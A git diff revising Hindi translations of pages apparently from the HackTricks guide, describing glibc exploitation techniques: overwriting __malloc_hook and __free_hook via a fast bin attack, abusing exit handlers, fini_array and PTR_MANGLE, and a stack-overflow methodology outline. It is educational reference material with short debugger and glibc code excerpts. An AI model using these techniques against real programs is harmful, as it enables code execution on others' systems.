diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md
index 9bafc8cf4..fd6e54f6d 100644
--- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md
+++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md
@@ -4,9 +4,9 @@
## **Malloc Hook**
-जैसा कि आप [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html) पर देख सकते हैं, **`__malloc_hook`** एक पॉइंटर है जो **एक फ़ंक्शन के पते की ओर इशारा करता है जिसे तब कॉल किया जाएगा** जब भी `malloc()` को कॉल किया जाता है **जो libc लाइब्रेरी के डेटा सेक्शन में संग्रहीत होता है**। इसलिए, यदि इस पते को एक **One Gadget** से ओवरराइट किया जाता है और `malloc` को कॉल किया जाता है, तो **One Gadget को कॉल किया जाएगा**।
+जैसा कि आप [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html) पर देख सकते हैं, **`__malloc_hook`** एक पॉइंटर है जो **एक फ़ंक्शन के पते की ओर इशारा करता है जिसे `malloc()` के कॉल होने पर कॉल किया जाएगा** **libc लाइब्रेरी के डेटा सेक्शन में संग्रहीत**। इसलिए, यदि इस पते को एक **One Gadget** से ओवरराइट किया जाता है और `malloc` को कॉल किया जाता है, तो **One Gadget को कॉल किया जाएगा**।
-`malloc` को कॉल करने के लिए, प्रोग्राम के इसे कॉल करने का इंतज़ार करना या **`printf("%10000$c")`** को कॉल करना संभव है, जो बहुत सारे बाइट्स आवंटित करता है जिससे `libc` `malloc` को हीप में उन्हें आवंटित करने के लिए कॉल करता है।
+`malloc` को कॉल करने के लिए, प्रोग्राम के इसे कॉल करने का इंतज़ार करना या **`printf("%10000$c")`** को कॉल करना संभव है, जो बहुत सारे बाइट्स आवंटित करता है जिससे `libc` को उन्हें हीप में आवंटित करने के लिए `malloc` कॉल करना पड़ता है।
One Gadget के बारे में अधिक जानकारी के लिए:
@@ -19,7 +19,7 @@ One Gadget के बारे में अधिक जानकारी क
## Free Hook
-इसका दुरुपयोग एक उदाहरण में किया गया था जो एक तेज़ बिन हमले का दुरुपयोग करने के बाद एक अनसॉर्टेड बिन हमले का दुरुपयोग करता है:
+इसका दुरुपयोग एक तेज़ बिन हमले के उदाहरण में किया गया था, जिसके बाद एक अनसॉर्टेड बिन हमले का दुरुपयोग किया गया था:
{{#ref}}
../libc-heap/unsorted-bin-attack.md
@@ -29,38 +29,38 @@ One Gadget के बारे में अधिक जानकारी क
```bash
gef➤ p &__free_hook
```
-[पोस्ट में](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) आप बिना प्रतीकों के फ्री हुक का पता लगाने के लिए चरण-दर-चरण गाइड पा सकते हैं। संक्षेप में, फ्री फ़ंक्शन में:
+[इस पोस्ट में](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) आप बिना प्रतीकों के फ्री हुक का पता लगाने के लिए चरण-दर-चरण गाइड पा सकते हैं। संक्षेप में, फ्री फ़ंक्शन में:
पिछले कोड में उल्लिखित ब्रेक में `$eax` में फ्री हुक का पता स्थित होगा।
अब एक **फास्ट बिन अटैक** किया जाता है:
-- सबसे पहले यह पता लगाया गया है कि **`__free_hook`** स्थान पर **200** आकार के फास्ट **चंक्स** के साथ काम करना संभव है:
--
gef➤ p &__free_hook
-$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
+- सबसे पहले यह पता लगाया जाता है कि **`__free_hook`** स्थान पर **200** आकार के फास्ट **चंक्स** के साथ काम करना संभव है:
+-
-- यदि हम इस स्थान पर आकार 0x200 का एक फास्ट चंक प्राप्त करने में सफल होते हैं, तो यह एक फ़ंक्शन पॉइंटर को ओवरराइट करना संभव होगा जो निष्पादित किया जाएगा।
-- इसके लिए, आकार `0xfc` का एक नया चंक बनाया जाता है और उस पॉइंटर के साथ दो बार मर्ज की गई फ़ंक्शन को कॉल किया जाता है, इस तरह हम फास्ट बिन में आकार `0xfc*2 = 0x1f8` के एक मुक्त चंक का पॉइंटर प्राप्त करते हैं।
-- फिर, इस चंक में संपादन फ़ंक्शन को कॉल किया जाता है ताकि इस फास्ट बिन के **`fd`** पते को पिछले **`__free_hook`** फ़ंक्शन की ओर इंगित किया जा सके।
-- फिर, आकार `0x1f8` का एक चंक बनाया जाता है ताकि फास्ट बिन से पिछले बेकार चंक को पुनः प्राप्त किया जा सके, ताकि आकार `0x1f8` का एक और चंक बनाया जा सके जो **`__free_hook`** में एक फास्ट बिन चंक प्राप्त करे जिसे **`system`** फ़ंक्शन के पते के साथ ओवरराइट किया जाता है।
-- और अंत में, एक चंक जिसमें स्ट्रिंग `/bin/sh\x00` है, को डिलीट फ़ंक्शन को कॉल करके मुक्त किया जाता है, जिससे **`__free_hook`** फ़ंक्शन को ट्रिगर किया जाता है जो `/bin/sh\x00` को पैरामीटर के रूप में सिस्टम की ओर इंगित करता है।
+- यदि हम इस स्थान पर 0x200 आकार का एक फास्ट चंक प्राप्त करने में सफल होते हैं, तो यह एक फ़ंक्शन पॉइंटर को ओवरराइट करना संभव होगा जो निष्पादित होगा।
+- इसके लिए, `0xfc` आकार का एक नया चंक बनाया जाता है और उस पॉइंटर के साथ दो बार मर्ज की गई फ़ंक्शन को कॉल किया जाता है, इस तरह हम फास्ट बिन में `0xfc*2 = 0x1f8` आकार के एक फ्री किए गए चंक का पॉइंटर प्राप्त करते हैं।
+- फिर, इस चंक में संपादित फ़ंक्शन को कॉल किया जाता है ताकि इस फास्ट बिन के **`fd`** पते को पिछले **`__free_hook`** फ़ंक्शन की ओर इंगित किया जा सके।
+- फिर, `0x1f8` आकार का एक चंक बनाया जाता है ताकि फास्ट बिन से पिछले बेकार चंक को पुनः प्राप्त किया जा सके, ताकि **`__free_hook`** में एक फास्ट बिन चंक प्राप्त करने के लिए `0x1f8` आकार का एक और चंक बनाया जा सके, जिसे **`system`** फ़ंक्शन के पते के साथ ओवरराइट किया जाता है।
+- और अंत में, `/bin/sh\x00` स्ट्रिंग वाला एक चंक डिलीट फ़ंक्शन को कॉल करके फ्री किया जाता है, जो **`__free_hook`** फ़ंक्शन को ट्रिगर करता है जो सिस्टम को `/bin/sh\x00` को पैरामीटर के रूप में इंगित करता है।
## संदर्भ
diff --git a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md
index 3a6db34f5..2c9632a3c 100644
--- a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md
+++ b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md
@@ -10,7 +10,7 @@
**`atexit()`** एक फ़ंक्शन है जिसमें **अन्य फ़ंक्शनों** को पैरामीटर के रूप में पास किया जाता है। ये **फ़ंक्शन** तब **निष्पादित** होंगे जब **`exit()`** या **main** का **रिटर्न** किया जाएगा।\
यदि आप इन **फ़ंक्शनों** में से किसी के **पते** को एक शेलकोड की ओर **संशोधित** कर सकते हैं, तो आप **प्रक्रिया** पर **नियंत्रण** प्राप्त कर लेंगे, लेकिन यह वर्तमान में अधिक जटिल है।\
वर्तमान में निष्पादित होने वाले **फ़ंक्शनों के पते** कई संरचनाओं के पीछे **छिपे** हुए हैं और अंततः जिस पते की ओर यह इशारा करते हैं, वे फ़ंक्शनों के पते नहीं हैं, बल्कि **XOR** और एक **यादृच्छिक कुंजी** के साथ विस्थापनों के साथ **एन्क्रिप्टेड** हैं। इसलिए वर्तमान में यह हमले का वेक्टर **कम से कम x86** और **x64_86** पर **बहुत उपयोगी नहीं है**।\
-**एन्क्रिप्शन फ़ंक्शन** **`PTR_MANGLE`** है। **अन्य आर्किटेक्चर** जैसे m68k, mips32, mips64, aarch64, arm, hppa... **एन्क्रिप्शन** फ़ंक्शन को **क्रियान्वित नहीं करते** क्योंकि यह **वही** लौटाता है जो इसे इनपुट के रूप में मिला। इसलिए ये आर्किटेक्चर इस वेक्टर द्वारा हमले के लिए **संवेदनशील होंगे**।
+**एन्क्रिप्शन फ़ंक्शन** **`PTR_MANGLE`** है। **अन्य आर्किटेक्चर** जैसे m68k, mips32, mips64, aarch64, arm, hppa... **एन्क्रिप्शन** फ़ंक्शन को **क्रियान्वित नहीं करते** क्योंकि यह **वही** लौटाता है जो इसे इनपुट के रूप में प्राप्त होता है। इसलिए ये आर्किटेक्चर इस वेक्टर द्वारा हमले के लिए **संवेदनशील होंगे**।
आप इस पर गहन व्याख्या [https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html) पर पा सकते हैं।
@@ -19,7 +19,7 @@
जैसा कि [**इस पोस्ट में**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure) समझाया गया है, यदि प्रोग्राम `return` या `exit()` का उपयोग करके समाप्त होता है, तो यह `__run_exit_handlers()` को चलाएगा जो पंजीकृत डेस्ट्रक्टर्स को कॉल करेगा।
> [!CAUTION]
-> यदि प्रोग्राम **`_exit()`** फ़ंक्शन के माध्यम से समाप्त होता है, तो यह **`exit` syscall** को कॉल करेगा और निकासी हैंडलर निष्पादित नहीं होंगे। इसलिए, यह पुष्टि करने के लिए कि `__run_exit_handlers()` निष्पादित होता है, आप उस पर एक ब्रेकपॉइंट सेट कर सकते हैं।
+> यदि प्रोग्राम **`_exit()`** फ़ंक्शन के माध्यम से समाप्त होता है, तो यह **`exit` syscall** को कॉल करेगा और निकासी हैंडलर निष्पादित नहीं होंगे। इसलिए, यह पुष्टि करने के लिए कि `__run_exit_handlers()` निष्पादित होता है, आप इस पर एक ब्रेकपॉइंट सेट कर सकते हैं।
महत्वपूर्ण कोड है ([source](https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131)):
```c
@@ -44,14 +44,14 @@ Elf64_Xword d_val; // address of function that will be called, we put our onegad
Elf64_Addr d_ptr; // offset from l->l_addr of our structure
}
```
-ध्यान दें कि `map -> l_addr + fini_array -> d_un.d_ptr` का उपयोग **स्थान** की **गणना** करने के लिए किया जाता है **कार्यक्रमों की सूची को कॉल करने के लिए**।
+ध्यान दें कि `map -> l_addr + fini_array -> d_un.d_ptr` का उपयोग **स्थान** की गणना करने के लिए किया जाता है **कार्यक्रमों की सूची को कॉल करने के लिए**।
कुछ **विकल्प** हैं:
- `map->l_addr` के मान को ओवरराइट करें ताकि यह एक **नकली `fini_array`** की ओर इंगित करे जिसमें मनमाने कोड को निष्पादित करने के लिए निर्देश हों।
-- `l_info[DT_FINI_ARRAY]` और `l_info[DT_FINI_ARRAYSZ]` प्रविष्टियों को ओवरराइट करें (जो मेमोरी में अधिक या कम लगातार होते हैं), ताकि वे **एक जाली `Elf64_Dyn`** संरचना की ओर इंगित करें जो फिर से **`array` को एक मेमोरी** क्षेत्र की ओर इंगित करेगा जिसे हमलावर ने नियंत्रित किया था।
-- [**यह लेख**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) `l_info[DT_FINI_ARRAY]` को `.bss` में नियंत्रित मेमोरी के पते के साथ ओवरराइट करता है जिसमें एक नकली `fini_array` है। यह नकली सूची **पहले एक** [**एक गेजेट**](../rop-return-oriented-programing/ret2lib/one-gadget.md) **पता** शामिल करती है जिसे निष्पादित किया जाएगा और फिर **इस** **नकली सूची** के पते और `map->l_addr` के **मान** के बीच का **अंतर** ताकि `*array` नकली सूची की ओर इंगित करे।
-- इस तकनीक के मुख्य पोस्ट के अनुसार और [**यह लेख**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet) ld.so एक पॉइंटर को स्टैक पर छोड़ता है जो ld.so में बाइनरी `link_map` की ओर इंगित करता है। एक मनमाने लेखन के साथ इसे ओवरराइट करना संभव है और इसे एक नकली `fini_array` की ओर इंगित करने के लिए बनाना संभव है जिसे हमलावर ने नियंत्रित किया है जिसमें एक [**एक गेजेट**](../rop-return-oriented-programing/ret2lib/one-gadget.md) का पता हो, उदाहरण के लिए।
+- `l_info[DT_FINI_ARRAY]` और `l_info[DT_FINI_ARRAYSZ]` प्रविष्टियों को ओवरराइट करें (जो मेमोरी में अधिक या कम लगातार होते हैं), ताकि वे **एक जाली `Elf64_Dyn`** संरचना की ओर इंगित करें जो फिर से **`array` को एक मेमोरी** क्षेत्र की ओर इंगित करेगा जिसे हमलावर ने नियंत्रित किया।
+- [**यह लेख**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) `l_info[DT_FINI_ARRAY]` को `.bss` में नियंत्रित मेमोरी के पते से ओवरराइट करता है जिसमें एक नकली `fini_array` है। यह नकली सूची **पहले एक** [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) **पता** शामिल करती है जिसे निष्पादित किया जाएगा और फिर **इस** **नकली सूची** के पते और `map->l_addr` के **मान** के बीच का **अंतर** ताकि `*array` नकली सूची की ओर इंगित करे।
+- इस तकनीक के मुख्य पोस्ट के अनुसार और [**यह लेख**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet) ld.so एक पॉइंटर को स्टैक पर छोड़ता है जो ld.so में बाइनरी `link_map` की ओर इंगित करता है। एक मनमाने लेखन के साथ इसे ओवरराइट करना संभव है और इसे एक नकली `fini_array` की ओर इंगित करना संभव है जिसे हमलावर द्वारा नियंत्रित किया गया है जिसमें एक [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) का पता है, उदाहरण के लिए।
पिछले कोड के बाद आप कोड के साथ एक और दिलचस्प अनुभाग पा सकते हैं:
```c
@@ -61,11 +61,11 @@ if (fini != NULL)
DL_CALL_DT_FINI (map, ((void *) map->l_addr + fini->d_un.d_ptr));
}
```
-इस मामले में `map->l_info[DT_FINI]` के मान को एक जाली `ElfW(Dyn)` संरचना की ओर इंगित करते हुए ओवरराइट करना संभव होगा। [**यहां अधिक जानकारी प्राप्त करें**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure)।
+इस मामले में `map->l_info[DT_FINI]` के मान को एक forged `ElfW(Dyn)` संरचना की ओर इंगित करके ओवरराइट करना संभव होगा। [**यहां अधिक जानकारी प्राप्त करें**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure)।
## TLS-Storage dtor_list ओवरराइट करना **`__run_exit_handlers`** में
-जैसा कि [**यहां समझाया गया है**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite), यदि कोई प्रोग्राम `return` या `exit()` के माध्यम से समाप्त होता है, तो यह **`__run_exit_handlers()`** को निष्पादित करेगा जो किसी भी पंजीकृत डेस्ट्रक्टर फ़ंक्शन को कॉल करेगा।
+जैसा कि [**यहां समझाया गया है**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite), यदि कोई प्रोग्राम `return` या `exit()` के माध्यम से बाहर निकलता है, तो यह **`__run_exit_handlers()`** को निष्पादित करेगा जो किसी भी पंजीकृत डेस्ट्रक्टर फ़ंक्शन को कॉल करेगा।
`_run_exit_handlers()` से कोड:
```c
@@ -124,13 +124,13 @@ PTR_MANGLE cookie को ओवरराइट करने पर, **`PTR_DEMAN
0x00007fc390444dd7 <+39>: ror rax,0x11 --> rotate of 17 bits
0x00007fc390444ddb <+43>: xor rax,QWORD PTR fs:0x30 --> xor with PTR_MANGLE
```
-इस नए पते को जोड़ने से पहले आपको इसे ध्यान में रखना चाहिए।
+इससे पहले कि आप एक नया पता जोड़ें, आपको इसे ध्यान में रखना होगा।
[**मूल पोस्ट**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite) में एक उदाहरण खोजें।
## अन्य मंगले हुए पॉइंटर्स **`__run_exit_handlers`** में
-यह तकनीक [**यहां समझाई गई है**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite) और फिर से इस पर निर्भर करती है कि प्रोग्राम **`return` या `exit()`** कॉल करके समाप्त हो रहा है ताकि **`__run_exit_handlers()`** को कॉल किया जा सके।
+यह तकनीक [**यहां समझाई गई है**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite) और फिर से इस पर निर्भर करती है कि प्रोग्राम **`return` या `exit()`** कॉल करके **बंद हो रहा है** ताकि **`__run_exit_handlers()`** को कॉल किया जा सके।
आइए इस फ़ंक्शन का अधिक कोड देखें:
```c
@@ -218,7 +218,7 @@ __libc_lock_unlock (__exit_funcs_lock);
इसके अलावा, विकल्प **`ef_on`** और **`ef_cxa`** में एक **argument** को नियंत्रित करना भी संभव है।
-आप **`initial` संरचना** को GEF के साथ डिबगिंग सत्र में **`gef> p initial`** के साथ जांच सकते हैं।
+आप **`initial` संरचना** को GEF के साथ डिबगिंग सत्र में **`gef> p initial`** चलाकर जांच सकते हैं।
इसका दुरुपयोग करने के लिए, आपको या तो **leak या `PTR_MANGLE`cookie** को मिटाना होगा और फिर `system('/bin/sh')` के साथ `initial` में एक `cxa` प्रविष्टि को ओवरराइट करना होगा।\
आप इस तकनीक के बारे में [**मूल ब्लॉग पोस्ट**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure) में इसका एक उदाहरण पा सकते हैं।
diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md
index 4d773118b..22ad07d58 100644
--- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md
+++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md
@@ -1,111 +1,111 @@
-# बेसिक बाइनरी एक्सप्लोइटेशन मेथोडोलॉजी
+# Basic Binary Exploitation Methodology
{{#include ../../banners/hacktricks-training.md}}
-## ELF बेसिक जानकारी
+## ELF Basic Info
-किसी भी चीज़ का शोषण करने से पहले **ELF बाइनरी** की संरचना के एक भाग को समझना दिलचस्प है:
+किसी भी चीज़ का शोषण करने से पहले, **ELF बाइनरी** की संरचना के एक भाग को समझना दिलचस्प है:
{{#ref}}
elf-tricks.md
{{#endref}}
-## शोषण उपकरण
+## Exploiting Tools
{{#ref}}
tools/
{{#endref}}
-## स्टैक ओवरफ्लो मेथोडोलॉजी
+## Stack Overflow Methodology
-इतनी सारी तकनीकों के साथ, यह अच्छा है कि जब प्रत्येक तकनीक उपयोगी होगी तो एक योजना हो। ध्यान दें कि समान सुरक्षा विभिन्न तकनीकों को प्रभावित करेगी। आप प्रत्येक सुरक्षा अनुभाग में सुरक्षा को बायपास करने के तरीके पा सकते हैं लेकिन इस मेथोडोलॉजी में नहीं।
+इतनी सारी तकनीकों के साथ, यह अच्छा है कि जब प्रत्येक तकनीक उपयोगी होगी, तो एक योजना हो। ध्यान दें कि समान सुरक्षा विभिन्न तकनीकों को प्रभावित करेगी। आप प्रत्येक सुरक्षा अनुभाग में सुरक्षा को बायपास करने के तरीके पा सकते हैं, लेकिन इस पद्धति में नहीं।
-## प्रवाह को नियंत्रित करना
+## Controlling the Flow
एक प्रोग्राम के प्रवाह को नियंत्रित करने के लिए विभिन्न तरीके हैं:
-- [**स्टैक ओवरफ्लोज़**](../stack-overflow/index.html) स्टैक से रिटर्न पॉइंटर या EBP -> ESP -> EIP को ओवरराइट करना।
-- ओवरफ्लो करने के लिए एक [**इंटीजर ओवरफ्लोज़**](../integer-overflow.md) का दुरुपयोग करने की आवश्यकता हो सकती है।
-- या **मनमाने लेखन + निष्पादन के लिए क्या लिखें** के माध्यम से।
-- [**फॉर्मेट स्ट्रिंग्स**](../format-strings/index.html)**:** `printf` का दुरुपयोग करके मनमानी सामग्री को मनमाने पते पर लिखें।
-- [**एरे इंडेक्सिंग**](../array-indexing.md): कुछ एरे को नियंत्रित करने और मनमाने लेखन प्राप्त करने के लिए खराब डिज़ाइन की गई इंडेक्सिंग का दुरुपयोग करें।
-- ओवरफ्लो करने के लिए एक [**इंटीजर ओवरफ्लोज़**](../integer-overflow.md) का दुरुपयोग करने की आवश्यकता हो सकती है।
-- **bof से WWW तक ROP के माध्यम से**: एक बफर ओवरफ्लो का दुरुपयोग करके एक ROP का निर्माण करें और WWW प्राप्त करने में सक्षम हों।
+- [**Stack Overflows**](../stack-overflow/index.html) स्टैक से रिटर्न पॉइंटर या EBP -> ESP -> EIP को ओवरराइट करना।
+- ओवरफ्लो उत्पन्न करने के लिए [**Integer Overflows**](../integer-overflow.md) का दुरुपयोग करना पड़ सकता है।
+- या **Arbitrary Writes + Write What Where to Execution** के माध्यम से।
+- [**Format strings**](../format-strings/index.html)**:** `printf` का दुरुपयोग करके मनमाने पते पर मनमानी सामग्री लिखना।
+- [**Array Indexing**](../array-indexing.md): कुछ ऐरे को नियंत्रित करने और एक मनमाना लिखने के लिए खराब डिज़ाइन की गई इंडेक्सिंग का दुरुपयोग करना।
+- ओवरफ्लो उत्पन्न करने के लिए [**Integer Overflows**](../integer-overflow.md) का दुरुपयोग करना पड़ सकता है।
+- **bof to WWW via ROP**: एक बफर ओवरफ्लो का दुरुपयोग करके एक ROP का निर्माण करना और WWW प्राप्त करना।
-आप **क्या लिखें कहाँ निष्पादन के लिए** तकनीकों को पा सकते हैं:
+आप **Write What Where to Execution** तकनीकों को पा सकते हैं:
{{#ref}}
../arbitrary-write-2-exec/
{{#endref}}
-## शाश्वत लूप
+## Eternal Loops
-ध्यान में रखने के लिए एक बात यह है कि आमतौर पर **कमजोरियों के एक शोषण से सफल शोषण करना पर्याप्त नहीं हो सकता है**, विशेष रूप से कुछ सुरक्षा को बायपास करने की आवश्यकता होती है। इसलिए, यह दिलचस्प है कि **एकल कमजोरी को कई बार शोषण करने योग्य बनाने** के कुछ विकल्पों पर चर्चा करें:
+ध्यान में रखने वाली एक बात यह है कि आमतौर पर **एक ही भेद्यता का शोषण सफल शोषण के लिए पर्याप्त नहीं हो सकता है**, विशेष रूप से कुछ सुरक्षा को बायपास करने की आवश्यकता होती है। इसलिए, यह दिलचस्प है कि **एकल भेद्यता को एक ही बाइनरी के निष्पादन में कई बार शोषण करने योग्य बनाने के लिए कुछ विकल्पों पर चर्चा करें**:
-- **`main` फ़ंक्शन** का पता या उस पते को लिखें जहाँ **कमजोरी** हो रही है।
-- एक उचित ROP श्रृंखला को नियंत्रित करके आप उस श्रृंखला में सभी क्रियाएँ करने में सक्षम हो सकते हैं।
-- **`exit` पते को GOT में** (या किसी अन्य फ़ंक्शन का उपयोग बाइनरी द्वारा समाप्त होने से पहले) उस पते पर लिखें **कमजोरी पर वापस जाने के लिए**।
-- जैसा कि [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)** में समझाया गया है,** यहाँ 2 फ़ंक्शन स्टोर करें, एक को फिर से vuln कॉल करने के लिए और दूसरा **`__libc_csu_fini`** को कॉल करने के लिए जो फिर से `.fini_array` से फ़ंक्शन को कॉल करेगा।
+- **`main` फ़ंक्शन** का पता या उस पते को लिखें जहां **भेद्यता** हो रही है।
+- एक उचित ROP श्रृंखला को नियंत्रित करके, आप उस श्रृंखला में सभी क्रियाएँ करने में सक्षम हो सकते हैं।
+- **`exit` GOT में पते पर लिखें** (या किसी अन्य फ़ंक्शन का उपयोग बाइनरी द्वारा समाप्त होने से पहले) पता वापस जाने के लिए **भेद्यता**।
+- जैसा कि [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)** में समझाया गया है,** यहां 2 फ़ंक्शन स्टोर करें, एक बार फिर vuln को कॉल करने के लिए और दूसरा **`__libc_csu_fini`** को कॉल करने के लिए जो फिर से `.fini_array` से फ़ंक्शन को कॉल करेगा।
-## शोषण लक्ष्य
+## Exploitation Goals
-### लक्ष्य: एक मौजूदा फ़ंक्शन को कॉल करें
+### Goal: Call an Existing function
- [**ret2win**](#ret2win): कोड में एक फ़ंक्शन है जिसे आपको कॉल करना है (शायद कुछ विशिष्ट पैरामीटर के साथ) ताकि फ्लैग प्राप्त किया जा सके।
-- एक **नियमित bof बिना** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **और** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html) आपको बस स्टैक में स्टोर किए गए रिटर्न पते में पता लिखने की आवश्यकता है।
+- एक **सामान्य bof बिना** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **और** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html) आपको बस स्टैक में स्टोर किए गए रिटर्न पते में पता लिखने की आवश्यकता है।
- [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) के साथ एक bof में, आपको इसे बायपास करने की आवश्यकता होगी।
- [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html) के साथ एक bof में, आपको इसे बायपास करने की आवश्यकता होगी।
- यदि आपको **ret2win** फ़ंक्शन को सही ढंग से कॉल करने के लिए कई पैरामीटर सेट करने की आवश्यकता है, तो आप उपयोग कर सकते हैं:
-- यदि पर्याप्त गैजेट हैं तो एक [**ROP**](#rop-and-ret2...-techniques) **श्रृंखला** सभी पैरामीटर तैयार करने के लिए।
+- यदि पर्याप्त गैजेट हैं तो [**ROP**](#rop-and-ret2...-techniques) **श्रृंखला** सभी पैरामीटर तैयार करने के लिए।
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html) (यदि आप इस syscall को कॉल कर सकते हैं) बहुत सारे रजिस्टर को नियंत्रित करने के लिए।
- [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) और [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) से गैजेट्स कई रजिस्टर को नियंत्रित करने के लिए।
-- एक [**Write What Where**](../arbitrary-write-2-exec/index.html) के माध्यम से आप **`win`** फ़ंक्शन को कॉल करने के लिए अन्य कमजोरियों (bof नहीं) का दुरुपयोग कर सकते हैं।
-- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): यदि स्टैक में एक फ़ंक्शन के लिए पॉइंटर्स हैं जिसे कॉल किया जाने वाला है या एक स्ट्रिंग के लिए जो एक दिलचस्प फ़ंक्शन (system या printf) द्वारा उपयोग की जाने वाली है, तो उस पते को ओवरराइट करना संभव है।
+- [**Write What Where**](../arbitrary-write-2-exec/index.html) के माध्यम से आप अन्य भेद्यताओं (bof नहीं) का दुरुपयोग कर सकते हैं ताकि **`win`** फ़ंक्शन को कॉल किया जा सके।
+- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): यदि स्टैक में किसी फ़ंक्शन के लिए पॉइंटर्स हैं जिसे कॉल किया जाने वाला है या किसी स्ट्रिंग के लिए जो किसी दिलचस्प फ़ंक्शन (system या printf) द्वारा उपयोग की जाने वाली है, तो उस पते को ओवरराइट करना संभव है।
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) या [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) पते को प्रभावित कर सकते हैं।
-- [**अनइनीशियलाइज़्ड वेरिएबल्स**](../stack-overflow/uninitialized-variables.md): आप कभी नहीं जानते।
+- [**Uninitialized variables**](../stack-overflow/uninitialized-variables.md): आप कभी नहीं जानते।
-### लक्ष्य: RCE
+### Goal: RCE
-#### शेलकोड के माध्यम से, यदि nx अक्षम है या शेलकोड को ROP के साथ मिलाकर:
+#### Via shellcode, if nx disabled or mixing shellcode with ROP:
-- [**(स्टैक) शेलकोड**](#stack-shellcode): यह रिटर्न पॉइंटर को ओवरराइट करने से पहले या बाद में स्टैक में शेलकोड स्टोर करने के लिए उपयोगी है और फिर **इस पर कूदें** इसे निष्पादित करने के लिए:
-- किसी भी मामले में, यदि एक [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html)** है,** एक नियमित bof में आपको इसे बायपास (leak) करने की आवश्यकता होगी।
+- [**(Stack) Shellcode**](#stack-shellcode): यह स्टैक में एक शेलकोड स्टोर करने के लिए उपयोगी है, रिटर्न पॉइंटर को ओवरराइट करने से पहले या बाद में और फिर **इसे निष्पादित करने के लिए** कूदना:
+- किसी भी मामले में, यदि कोई [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html)** है,** एक सामान्य bof में आपको इसे बायपास (leak) करने की आवश्यकता होगी।
- **बिना** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **और** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) के, स्टैक के पते पर कूदना संभव है क्योंकि यह कभी नहीं बदलेगा।
-- **के साथ** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) आपको [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) जैसी तकनीकों की आवश्यकता होगी।
-- **के साथ** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), आपको कुछ [**ROP**](../rop-return-oriented-programing/index.html) **का उपयोग करना होगा** `memprotect` को कॉल करने के लिए और कुछ पृष्ठ `rwx` बनाने के लिए, ताकि फिर **शेलकोड को वहाँ स्टोर किया जा सके** (उदाहरण के लिए पढ़ने को कॉल करना) और फिर वहाँ कूदना।
+- **साथ में** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) आपको [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) जैसी तकनीकों की आवश्यकता होगी।
